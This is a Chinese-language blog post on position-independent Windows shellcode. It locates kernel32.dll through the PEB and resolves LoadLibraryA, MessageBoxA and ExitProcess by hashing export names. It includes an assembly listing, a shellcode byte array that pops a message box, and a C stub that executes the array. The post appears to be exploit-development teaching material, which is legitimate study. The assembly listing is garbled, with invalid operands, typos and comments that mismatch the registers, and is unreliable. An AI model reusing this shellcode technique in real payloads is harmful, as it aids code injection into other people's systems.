shellcode定位windowsAPI函数
根据前面的实验我们知道了,对于不同的系统下,不同的硬件环境下,kernel32.dll
的加载基址和各函数API的偏移量都不一样,怎样是我们的shellocde具有通用性呢,我们可以使用如下方法找到我们的函数API
GLD ;clear flag DF
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ;esi = addr of first function hash
lea edi,[esp-0xc]
;make some stack space
xor ebx,ebx
mov bh,0x04
sub esp,ebx
;push a pointer to "user32" onto stack
mov bx,0x3233 ;rest of ebx is null
push ebx
push 0x72657375
push esp
xor edx,edx
;find base addr of kernel32.dll
mov ebx,fs[edx+0x30] ;ebx = addr of PEB
mov ecx,[ebx+0x0c] ;ecx = pointer to loader data
mov ecx,[ecx+0x1c] ;ecx = first entry in initialization
;order list
mov ecx,[ecx] ;ecx = second entry in list
;(kernel32.dll)
mov ebp,[ecx + 0x08] ;ebp = base addr of kernel32.dll
find_lib_functions:
lodsd ;load nest hash into al and increment esi
cmp eax,0x1e380a6a ;bash of MessageBoxA - triggger
;LoadLibrary("user32")
jne find_funcions
xchg eax,ebp ;save current bash
call [dei-0x8] ;LoadLibraryA
xchg eax,ebp ;restore current hash ,and udate ebp
;with base addr of user32.dll
find_functons:
pushad ;preserve registers
mov eax,[ebp +0x3c] ;eax = start of PE header
mov eax ,[ebp+eax+0x78] ;ecx = relative offset of export table
add ecx,ebp ;ecx = absulote addr of export table
mov ebx,[ecx + 0x20] ;ebx = relative offset of name table
add ebx,ebp ;ebx = absulote addr of names table
xor edi,edi ;edi will count through the function
next_function_loop:
inc edi ;increment function counter
mov esi,[ebx+edi*4] ;esi = relative offset of current
add esi ,ebp ;esi = alsolute addr of current
cdq
hash_loop:
movsx eax,byte ptr[esi]
cmp al ,ah
jz compare_hash
ror edx
add edx,eax
inc esi
jmp hash_loop
compare_hash:
cmp dex,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
add ebx,ebp
mov di ,[ebx+2*dei]
mov ebx,[ecx,0x1c]
add ebx,ebp
add ebp,[ebx+4*dei]
xchg eax,ebp
pop edi
stosd
push dei
popad
cmp eax,0x1e380a6a
jne find_lib_functions
function_call:
xor ebx,ebx
push ebx
push 0x74736577
push 0x6c696166
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi-0x04]
push ebx
call [edi-0x08]
nop
nop
nop
nop
简而言之:就是根据一系列地址偏移量找到函数名称和函数地址的头指针,在根据函数名称的hash值去匹配找到函数名称对应的排列位置,然后再去函数地址的头指针偏移相应的个数去找到函数API的地址。
实验如下
code:
char popup_general[]=
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8";
void main(){
__asm{
lea eax,popup_general
push eax
ret
}
}
这样就可以直接在ret的时候去执行我们数组当中的通用shellcode了:
结果:


浙公网安备 33010602011771号